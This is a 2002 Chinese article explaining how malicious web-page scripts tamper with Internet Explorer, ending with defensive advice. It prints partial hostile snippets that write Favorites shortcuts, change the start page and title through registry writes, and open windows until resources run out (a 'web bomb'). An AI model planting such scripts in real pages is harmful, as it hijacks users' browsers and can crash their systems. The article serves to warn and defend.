浏览器作为互连网上信息浏览的客户端软件,其安全性一直是用户关心的问题。从浏览器的生产厂家到最终用户,人们始终关心着浏览器是否从 Internet 上下载了某些有害的东西,或者用户机器里的一些信息被某些程序破坏或者盗取。值得人们关注的是,一些专门进行网络破坏的“黑客”,也把目光盯在了浏览器上面,他们利用浏览器的某些漏洞,在网页里放置一些恶意代码,通过浏览器对网页的解释执行,来修改用户端 Windows 的注册表,从而达到破坏用户数据的目的。
一,是谁把网站链接加到了浏览器的“收藏夹”里?
如果你经常上网的话,你会发现,最近几个月来,当你浏览了某些网站(特别是一些个人网站)后,你的浏览器的“收藏夹”里就自动加入了这些网站的首页链接。这些网站的网页里就利用了上述的“黑客”技术,通过在网页里加入脚本程序,获得浏览者浏览器“收藏夹”的路径,然后写入某些网站首页链接的快捷方式。这些脚本程序的部分代码如下:
var WF, loc;
WF = FSO.GetSpecialFolder(0); //取得 Windows 的文件夹名,(FSO是文件系统对象,由此前代码取得)
loc = WF + "\\Favorites"; //得到“收藏夹”的路径
AddFavLnk(loc, '快捷方式名称', 'http://快捷方式指向的链接'); //向“收藏夹”中写入快捷方式
二、是谁修改了我的浏览器的起始“主页”?
与前述修改浏览器“收藏夹”相似,也是网页里的脚本代码起了决定性的作用。不同的是,修改浏览器起始“主页”是通过修改用户注册表来实现的。相关脚本程序部分代码如下:
Shl=obj.GetObject(); //得到 WSH 的外壳实例
try
{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://链接");
}
catch(e) {}
三、修改 IE 浏览器标题栏字符串“Microsoft Internet Explorer”
修改 IE 浏览器标题栏字符串也是通过修改用户注册表来实现的。相关脚本程序部分代码如下:
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window title",'修改后的字符串');
四、“网页炸弹”的制做
有人说,上面的伎俩都是利用了浏览器的安全漏洞来破坏的,普通的脚本语言是绝对安全的。真的是这样吗?请看以下脚本程序:
〈Script〉
var count = 10; //打开窗口的个数
for(var i=0; i〈count; i++) document.open('网页文件.htm','','');
〈/Script〉
该脚本程序运行后,会顺次打开 10 个 IE 窗口。那么,如果将变量 count 的值设为 1000,10000 呢?其后果是可以想见的:就像炸弹爆炸一样,机器会不停的打开窗口,直到资源耗尽,系统崩溃!
五、浏览器的保护措施
分析以上例子不难发现,它们是利用了浏览器的漏洞和脚本代码来执行破坏性程序的。所以通过删除本地机器中的相关组件、关闭浏览器对 Java、脚本的支持,都可以有效的防范恶意网页代码的破坏。IE 的安全设置在其“Internet 选项”的“安全”标签页中。
西安市雁塔区慈恩路南段 8 号电达公司 710061
张庆 zhangking@263.net 029-5213755
http://100000.home.sohu.com QQ:9365822 2002.1.10
|
|